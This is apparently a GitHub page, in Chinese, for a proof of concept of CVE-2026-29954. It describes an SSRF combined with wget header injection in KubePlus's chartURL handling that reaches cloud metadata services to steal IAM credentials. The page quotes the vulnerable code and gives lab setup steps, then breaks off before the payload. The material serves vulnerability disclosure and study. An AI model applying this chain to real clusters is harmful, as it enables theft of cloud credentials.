b0b0haha/CVE-2026-29954

GitHub: b0b0haha/CVE-2026-29954

针对 KubePlus ResourceComposition 组件的 SSRF 与 wget 命令注入组合漏洞的完整 PoC,演示如何通过 HTTP 头注入绕过云元数据服务访问限制并窃取 IAM 凭证。

Stars: 0 | Forks: 0

# KubePlus ResourceComposition ChartURL SSRF + Header 注入 该漏洞存在于 KubePlus 的 ResourceComposition 资源处理组件中,允许拥有 Provider 权限的攻击者通过构造恶意的 chartURL 参数利用 SSRF 访问内部服务,并通过 wget 命令注入任意 HTTP 请求头。这使得攻击者能够访问需要特定请求头的云元数据服务(例如 GCP 需要 `Metadata-Flavor: Google` 请求头),从而窃取 IAM 凭证。报告建议的 CWE:CWE-918(服务器端请求伪造)。 ## 概述 KubePlus mutating webhook 和 kubeconfiggenerator 组件在处理 ResourceComposition 资源的 chartURL 字段时存在 SSRF 漏洞。该字段仅进行了 URL 编码,并未验证目标地址。更严重的是,当 kubeconfiggenerator 使用 wget 下载 chart 时,chartURL 被直接拼接到命令中,允许攻击者注入 wget 的 `--header` 选项,从而实现任意 HTTP 请求头注入。 ## 详情 ### 漏洞代码位置 **SSRF 入口点** - `mutating-webhook/utils.go:986-995`: ``` func LintChart(chartURL string) []byte { encodedChartURL := url.QueryEscape(chartURL) args := fmt.Sprintf("chartURL=%s", encodedChartURL) var url1 string url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args) body := queryKubeDiscoveryService(url1) return body } ``` **Header 注入点** - `deploy/kubeconfiggenerator.py:552-558`: ``` def download_and_untar_chart(chartLoc, chartName): if chartLoc.startswith("https"): charttgz = chartName + ".tgz" wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc out, err = run_command(wget) ``` chartURL 被直接拼接到 wget 命令中,允许攻击者注入 `--header` 选项。 ### 漏洞分析 1. **SSRF**:chartURL 字段来自用户输入,仅进行了 URL 编码,未验证目标是否为内部网络或元数据服务 2. **命令注入(Header)**:wget 命令直接拼接 chartURL,允许注入 wget 命令行选项 3. **Header 注入**:通过注入 `--header` 选项,可以添加任意 HTTP 请求头 ## PoC ### 环境搭建 1. 创建 Kind 集群: ``` kind create cluster --name kubeplus-test ``` 2. 安装 KubePlus v4.2.0: ``` helm repo add kubeplus https://cloud-ark.github.io/kubeplus helm install kubeplus kubeplus/kubeplus -n default kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s ``` 3. 生成 provider kubeconfig: ``` python3 provider-kubeconfig.py create default ``` 4. 部署回调服务器: ``` kubectl apply -f - <
标签:ChartURL, CISA项目, CWE-918, Header Injection, Helm Chart, HTTP头注入, IAM凭证窃取, Kubeconfiggenerator, KubePlus, Mutating Webhook, PoC, Provider权限, SSRF, Wget, 云元数据攻击, 命令注入, 子域名突变, 日志审计, 暴力破解, 服务器端请求伪造, 漏洞分析, 路径探测, 逆向工具